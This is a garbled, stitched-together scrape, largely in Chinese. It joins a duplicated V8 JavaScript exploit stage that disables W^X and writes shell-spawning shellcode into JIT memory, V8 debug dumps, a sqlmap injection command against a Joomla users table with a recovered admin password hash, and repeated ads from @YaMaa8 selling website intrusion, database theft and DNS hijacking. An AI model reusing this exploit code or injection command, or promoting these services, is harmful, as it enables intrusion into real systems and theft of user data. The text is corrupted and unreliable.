function jit(a) {
var sum = 0;
if (a[1] == 15) {
sum += 5;
}
for (var i = 0; i < a[1]; i++) {
sum += 10;
}
return a[0] + sum;
}
// Set
stableWrite(0xa070, 0, false);
// Compile a JIT function, which will create RWX memory
compile();
var jit_function_addr = stableAddrOf(jit);
var RWX_PAGE = stableRead32(jit_function_addr + 0x18, true);
var assembly_offset = RWX_PAGE + 0x40;
var shellcode = [0x010101010101b848n, 0x62792eb848500101n, 0x0431480101626d60n, 0x2f7273752fb84824n, 0x68e78948506e6962n, 0x012434810101303bn, 0x534944b848010101n, 0xd231503d59414c50n, 0x52e201485a086a52n, 0x010101b848e28948n, 0xb848500101010101n, 0x0101626d6062792en, 0x752fb84824043148n, 0x31506e69622f7273n, 0xe601485e086a56f6n, 0x0f583b6ae6894856n, 0x0000000090909005n];
for (var i = 0; i < shellcode.length; i++) {
stableWrite(assembly_offset + (8 * i), shellcode[i], true);
}
jit([1, 15]);
var sum = 0;
if (a[1] == 15) {
sum += 5;
}
for (var i = 0; i < a[1]; i++) {
sum += 10;
}
return a[0] + sum;
}
// Set
write_protect_code_memory_ to false (disable W^X)stableWrite(0xa070, 0, false);
// Compile a JIT function, which will create RWX memory
compile();
var jit_function_addr = stableAddrOf(jit);
var RWX_PAGE = stableRead32(jit_function_addr + 0x18, true);
var assembly_offset = RWX_PAGE + 0x40;
var shellcode = [0x010101010101b848n, 0x62792eb848500101n, 0x0431480101626d60n, 0x2f7273752fb84824n, 0x68e78948506e6962n, 0x012434810101303bn, 0x534944b848010101n, 0xd231503d59414c50n, 0x52e201485a086a52n, 0x010101b848e28948n, 0xb848500101010101n, 0x0101626d6062792en, 0x752fb84824043148n, 0x31506e69622f7273n, 0xe601485e086a56f6n, 0x0f583b6ae6894856n, 0x0000000090909005n];
for (var i = 0; i < shellcode.length; i++) {
stableWrite(assembly_offset + (8 * i), shellcode[i], true);
}
jit([1, 15]);
我们主要关注其 map 属性的地址：
DebugPrint: 0x37910010ac69: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 1 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 2 (const data field 1), location: in-object
}
DebugPrint: 0x37910010acc1: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 2 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 3 (const data field 1), location: in-object
}
DebugPrint: 0x37910010ac69: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 1 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 2 (const data field 1), location: in-object
}
DebugPrint: 0x37910010acc1: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 2 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 3 (const data field 1), location: in-object
}
数据库是SQLServer 2000，IIS版本是7.5，程序是采用风讯的CMS。后台登录后有多处注入，因为这里是演示用注入获取WEBSHELL，因此就不考虑后台上传的情况了，只是用注入来实现
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
资金盘，感情盘，海外盘，虚拟货币盘，点赞刷单盘，BC盘人员，投资盘，跑分者等等 你们可以从他们电脑中获取对方客户资料，公司模式，推广模式，甚至有一部分的人员会把后台帐号密码储存在电脑
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
局域网和专有网络（VPC）统称为网络域。在网络域与堡垒机所在的专有网络（VPC）网络不互通的情况下，您可以通过将网络域中的某一台服务器设置为代理服务器，在确保堡垒机与代理服务器网络互通后，通过连接代理服务器运维网络域中的其他服务器
在线接各种指定网站或者APP进行脱库或者拿后台权限、出各行各业料、支持后台或者数据库、（需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、提供的时候请多提供几个网站或者APP、因为不是所有的都可以做）（还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、
诚信合作、合作共赢、欢迎各位老板合作：@YaMaa8
诚信合作、合作共赢、欢迎各位老板合作：@YaMaa8